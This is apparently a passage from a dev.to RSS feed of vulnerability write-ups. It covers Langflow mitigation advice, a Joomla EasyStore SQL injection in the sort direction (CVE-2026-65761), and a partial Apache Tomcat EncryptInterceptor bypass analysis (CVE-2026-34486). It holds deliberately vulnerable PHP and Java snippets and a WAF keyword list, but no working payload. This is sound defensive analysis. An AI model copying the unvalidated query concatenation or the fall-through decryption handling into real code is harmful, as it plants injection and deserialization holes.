&lt;li&gt;If immediate upgrade isn't feasible:

&lt;ul&gt;
&lt;li&gt;Disable the public flow feature, or avoid it unless necessary&lt;/li&gt;
&lt;li&gt;Review the &lt;code&gt;AUTO_LOGIN&lt;/code&gt; default and disable it if not required&lt;/li&gt;
&lt;li&gt;Don't expose the Langflow API directly to the internet — put it behind an authenticating proxy or firewall&lt;/li&gt;
&lt;li&gt;Add a WAF/proxy rule to detect and block requests to &lt;code&gt;build_public_tmp&lt;/code&gt; that include a &lt;code&gt;data&lt;/code&gt; parameter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>exploit</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>EasyStore (Joomla) filter_sortby Pre-Authentication SQL Injection (CVE-2026-65761)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 11 Aug 2026 05:41:49 +0000</pubDate>
      <link>https://dev.to/guidance_white/easystore-joomla-filtersortby-pre-authentication-sql-injection-cve-2026-65761-3fcl</link>
      <guid>https://dev.to/guidance_white/easystore-joomla-filtersortby-pre-authentication-sql-injection-cve-2026-65761-3fcl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk41v5d24a7sthm7wbgug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk41v5d24a7sthm7wbgug.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Overview of CVE-2026-65761
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;EasyStore&lt;/strong&gt; is an e-commerce extension component for Joomla, distributed by developer JoomShaper. The product listing page accepts a request parameter called &lt;code&gt;filter_sortby&lt;/code&gt; so users can choose a sort order. This value is split into a &lt;strong&gt;column name&lt;/strong&gt; and a &lt;strong&gt;sort direction (ASC/DESC)&lt;/strong&gt;, and the direction value was inserted directly into the &lt;code&gt;ORDER BY&lt;/code&gt; clause of the SQL query with no validation whatsoever.&lt;/p&gt;

&lt;p&gt;Security firm mySites.guru discovered the issue and privately disclosed it to JoomShaper on July 22, 2026. The company bundled three vulnerabilities together — SQL Injection, unauthenticated order forgery, and cross-customer invoice disclosure — and silently patched them in &lt;strong&gt;version 2.0.2&lt;/strong&gt;. No separate security advisory was published.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target:&lt;/strong&gt; JoomShaper EasyStore (Joomla extension)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affected versions:&lt;/strong&gt; 1.0.0 – 2.0.1&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patched version:&lt;/strong&gt; EasyStore 2.0.2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CWE:&lt;/strong&gt; CWE-89 (SQL Injection)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVSS 4.0:&lt;/strong&gt; &lt;strong&gt;9.3 (Critical)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. Why the Sort Direction Is Dangerous
&lt;/h2&gt;

&lt;p&gt;The basic rule of SQL Injection defense is: &lt;strong&gt;"never trust user input — always escape it or use parameter binding (prepared statements)."&lt;/strong&gt; However, an &lt;code&gt;ORDER BY ... ASC&lt;/code&gt; / &lt;code&gt;ORDER BY ... DESC&lt;/code&gt; style &lt;strong&gt;sort direction&lt;/strong&gt; is one of the few places where this principle cannot be applied directly.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why can't it be bound?&lt;/strong&gt; Parameter binding (the &lt;code&gt;?&lt;/code&gt; placeholder) is a mechanism for safely passing a &lt;em&gt;value&lt;/em&gt;. But ASC/DESC isn't a value — it's a &lt;strong&gt;keyword (reserved word)&lt;/strong&gt; in SQL syntax. Even if you place it in a bound parameter slot, the database won't interpret it as syntax. That's why developers must hard-code a &lt;strong&gt;whitelist check&lt;/strong&gt; directly into the application: "accept only ASC or DESC, reject everything else."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;EasyStore is exactly where this whitelist &lt;strong&gt;validation was missing.&lt;/strong&gt; Interestingly, the sorting features for the &lt;strong&gt;Brand list and Collection list&lt;/strong&gt; within the same component did have this validation implemented correctly — the check was missing only from the &lt;strong&gt;Product list&lt;/strong&gt; sorting path. In other words, this wasn't a case of the developers "not knowing" the risk; it's a classic &lt;strong&gt;implementation-omission bug&lt;/strong&gt; where the same logic was reimplemented in multiple places and one location was simply missed.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Vulnerable Flow, in Code
&lt;/h2&gt;

&lt;p&gt;The code below is a &lt;strong&gt;reconstructed example&lt;/strong&gt; based on the behavior (file names, line numbers, and processing logic) described in the public vulnerability report. It is not identical to the actual source, but it's sufficient to understand the structure of the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;① FilterHelper.php:741 — returns the direction value as-is, with no validation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Conceptual reconstruction&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter_sortby_direction'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// returned without any whitelist check&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The defense that &lt;strong&gt;should have been in place&lt;/strong&gt; looked something like this. Reconstructing, as an example, the logic that appears to actually exist in the Brand/Collection list helper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// What correct validation looks like (Brand/Collection helper)&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtoupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter_sortby_direction'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'DESC'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'ASC'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;② ProductsModel.php:923 — the unvalidated value is concatenated directly into the query string&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Conceptual reconstruction&lt;/span&gt;
&lt;span class="nv"&gt;$sortColumn&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;quoteName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'filter.sort_column'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$sortDirection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// unvalidated&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sortColumn&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$sortDirection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// direct string concatenation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why doesn't &lt;code&gt;quoteName()&lt;/code&gt; help here?&lt;/strong&gt;&lt;br&gt;
Joomla's &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; are the standard defense tools for safely escaping &lt;em&gt;identifiers&lt;/em&gt; (column/table names) and &lt;em&gt;values&lt;/em&gt;, respectively. But the &lt;code&gt;$sortDirection&lt;/code&gt; in this vulnerability is neither an identifier nor a value — it's &lt;strong&gt;part of SQL syntax (a keyword)&lt;/strong&gt;. &lt;code&gt;quoteName('column')&lt;/code&gt; only wraps a column name in backticks, and wrapping the direction value with &lt;code&gt;quote('value')&lt;/code&gt; would turn it into &lt;code&gt;ORDER BY col 'DESC'&lt;/code&gt;, which is a syntax error. So the direction value can only be defended with a &lt;strong&gt;whitelist&lt;/strong&gt;, not escaping — and it's precisely that whitelist that was missing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;③ The vulnerable query, assembled conceptually&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The actual exploit payload is not disclosed, but combining the two code paths above produces a final executed query with roughly this shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="n"&gt;__easystore_products&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ATTACKER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;CONTROLLED&lt;/span&gt; &lt;span class="k"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;EXPRESSION&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the one slot where only the two words ASC or DESC should ever be allowed, an &lt;strong&gt;attacker-controlled arbitrary SQL expression&lt;/strong&gt; can be inserted directly. To demonstrate the issue without extracting real data, mySites.guru said it confirmed successful injection using a &lt;strong&gt;time-based technique&lt;/strong&gt; — deliberately delaying the database response under specific conditions. A response delayed by several seconds compared to a normal request serves as evidence that the injected statement executed.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Attack Flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqsyeir0f2wlqqacde1un.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqsyeir0f2wlqqacde1un.png" alt=" " width="800" height="612"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A request reaches the product listing endpoint with a crafted &lt;code&gt;filter_sortby&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The direction segment is extracted without validation.&lt;/li&gt;
&lt;li&gt;The value is concatenated directly into the &lt;code&gt;ORDER BY&lt;/code&gt; clause.&lt;/li&gt;
&lt;li&gt;The database executes attacker-controlled SQL as part of the sort expression.&lt;/li&gt;
&lt;li&gt;Success/failure is inferred via a time-based side channel (response delay), without needing to read result data directly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/CcFLUIoFRB4"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Update immediately:&lt;/strong&gt; If you're running EasyStore, upgrade to 2.0.2 or later. Because it was patched silently with no separate security notice, it's easy to overlook by only skimming the changelog.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review WAF rules:&lt;/strong&gt; Confirm that SQL-keyword-based filtering rules (UNION, SLEEP, information_schema, etc.) are also applied to &lt;code&gt;filter_sortby&lt;/code&gt;-style parameters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least-privilege DB accounts:&lt;/strong&gt; Verify the DB account used by the web application doesn't have unnecessary permissions to query &lt;code&gt;information_schema&lt;/code&gt; or superuser-level access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review logs:&lt;/strong&gt; Check recent access logs for requests where the &lt;code&gt;filter_sortby&lt;/code&gt; parameter contained anything other than ASC/DESC — quotes, parentheses, or SQL keywords.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cve</category>
      <category>poc</category>
      <category>exploit</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>CVE-2026-34486 Analysis — Apache Tomcat EncryptInterceptor Bypass</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 08 Aug 2026 07:24:02 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-34486-analysis-apache-tomcat-encryptinterceptor-bypass-28e6</link>
      <guid>https://dev.to/guidance_white/cve-2026-34486-analysis-apache-tomcat-encryptinterceptor-bypass-28e6</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88g91qcmtcvlgvarik3g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88g91qcmtcvlgvarik3g.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CVSS 3.1&lt;/strong&gt;: 7.5 (High) · &lt;strong&gt;CWE&lt;/strong&gt;: CWE-311 / CWE-807 · &lt;strong&gt;Disclosed&lt;/strong&gt;: 2026-04-09&lt;br&gt;
&lt;strong&gt;Type&lt;/strong&gt;: Missing Encryption / Protection Mechanism Bypass&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Table of Contents&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Summary at a Glance&lt;/li&gt;
&lt;li&gt;Background: Relation to CVE-2026-29146&lt;/li&gt;
&lt;li&gt;Root Cause Analysis (Source Code)&lt;/li&gt;
&lt;li&gt;Attack Flow&lt;/li&gt;
&lt;li&gt;Impact &amp;amp; Severity&lt;/li&gt;
&lt;li&gt;Affected Versions&lt;/li&gt;
&lt;li&gt;Mitigation&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Summary at a Glance&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-34486 is a vulnerability in Apache Tomcat's cluster communication protection component, &lt;code&gt;EncryptInterceptor&lt;/code&gt;, which can be fully bypassed under certain conditions. This component is normally responsible for encrypting messages exchanged between Tomcat cluster nodes to preserve confidentiality. However, an incomplete fix for a prior vulnerability (&lt;strong&gt;CVE-2026-29146&lt;/strong&gt;, a padding oracle) misplaced the "what happens when decryption fails" control flow, introducing a regression where &lt;strong&gt;plaintext (or otherwise unverified) messages pass through even when encryption is configured&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Why it matters&lt;/strong&gt;&lt;br&gt;
This goes beyond simple information exposure. Because Tomcat's clustering layer, &lt;code&gt;Apache Tribes&lt;/code&gt;, deserializes incoming messages, disabling the encryption check means attacker-controlled bytes can reach the deserialization stage without validation. Combined with a known gadget chain, this could escalate to &lt;strong&gt;unauthenticated remote code execution (RCE)&lt;/strong&gt; — a real-world risk that arguably exceeds what the raw CVSS score suggests.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Background: Relation to CVE-2026-29146&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-29146 was a &lt;strong&gt;padding oracle&lt;/strong&gt; vulnerability in the decryption logic of &lt;code&gt;EncryptInterceptor&lt;/code&gt;. An attacker could observe decryption failure signals (error responses, timing differences, etc.) to gradually decrypt ciphertext — a classic side-channel issue.&lt;/p&gt;

&lt;p&gt;To fix this, the Tomcat team modified the code so that decryption exceptions were caught, preventing the oracle signal from leaking externally. In doing so, however, the accompanying control-flow logic — &lt;strong&gt;"if decryption failed, processing of this message must stop here"&lt;/strong&gt; — was dropped. The exception was caught and logged, but execution was allowed to &lt;strong&gt;continue to the next processing stage anyway&lt;/strong&gt;. This is a textbook case of a patch for one vulnerability introducing a more severe bypass.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftehkdjblvylybrl1st3o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftehkdjblvylybrl1st3o.png" alt=" " width="797" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. How the CVE-2026-29146 patch led to the CVE-2026-34486 regression&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Root Cause Analysis (Source Code)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The core issue lives in the &lt;code&gt;messageReceived()&lt;/code&gt; method of &lt;code&gt;org.apache.catalina.tribes.group.interceptors.EncryptInterceptor&lt;/code&gt;. Below is a simplified illustration of the flawed structure.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Vulnerable version (after the CVE-2026-29146 patch)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ⚠️ VULNERABLE&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ChannelMessage&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryptionManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;XByteBuffer&lt;/span&gt; &lt;span class="n"&gt;xbb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unable to decrypt cluster message"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// exception caught and logged, but no further action taken&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// ← called unconditionally, outside the try-catch&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key problem is that &lt;code&gt;super.messageReceived(msg)&lt;/code&gt; sits &lt;strong&gt;outside the try-catch block&lt;/strong&gt;. That means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If decryption &lt;strong&gt;succeeds&lt;/strong&gt; → &lt;code&gt;xbb&lt;/code&gt; is replaced with the decrypted plaintext and passed to the next interceptor (intended behavior)&lt;/li&gt;
&lt;li&gt;If decryption &lt;strong&gt;fails&lt;/strong&gt; → the exception is caught and &lt;code&gt;xbb&lt;/code&gt; is never replaced, but the &lt;strong&gt;original message bytes (which may be unencrypted)&lt;/strong&gt; are still forwarded, unmodified, to &lt;code&gt;super.messageReceived(msg)&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;🔴 In practice, this means sending an &lt;strong&gt;unencrypted message causes decrypt() to throw, that exception is silently logged, and the message is still passed on to the next processing stage — including deserialization — with no validation&lt;/strong&gt;. EncryptInterceptor effectively becomes a no-op.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Fixed version (conceptual structure after the patch)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅ FIXED&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ChannelMessage&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryptionManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;XByteBuffer&lt;/span&gt; &lt;span class="n"&gt;xbb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
